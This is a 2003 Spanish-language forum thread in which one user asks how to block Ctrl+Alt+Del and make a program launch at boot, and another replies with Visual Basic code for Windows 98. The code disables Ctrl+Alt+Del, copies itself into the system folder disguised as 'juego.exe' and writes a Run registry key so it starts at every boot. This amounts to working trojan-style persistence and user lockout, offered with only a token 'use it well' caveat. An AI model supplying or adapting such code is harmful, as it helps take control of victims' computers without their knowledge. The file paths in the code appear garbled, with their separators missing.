crimminal_bond
15 de Diciembre del 2003

por favor dejame tu mail y contestame como hago lo de bloquear ctrl+alt+supr y lo de q c active apeneas se prende la m,aquibna

Victor
15 de Diciembre del 2003

Es sencillo, espero que lo uses de buena manera, sino no lo uses.
ESTE PROGRAMA ANDA EN WIN 9x OSEA WIN 98, me
EN XP Y NT NO ANDA
El archivo le llamamos juego.



Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97&

'Y EN UN FORM.
Private Sub Form_Load()
Dim lngRet As Long, origen, destino, WSHShell, RegTemp, valor, blnOld As Boolean, arch
arch = Dir("c:windowssystem32juego.exe", vbFile)
If arch <> "" Then
lngRet = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, blnOld, 0&)
End
Else
lngRet = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, blnOld, 0&)

origen = "juego.exe"
destino = "c:windowssystem32juego.exe"
FileCopy origen, destino


valor = "c:windowssystem32juego.exe"
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunshell2", valor

End
End If
End Sub

'CUANDO TERMINES DE COPIAR ESTO CREA EL EJECUTABLE
'CON EL NOMBRE JUEGO.EXE SINO NO FUNCIONARA

VICTOR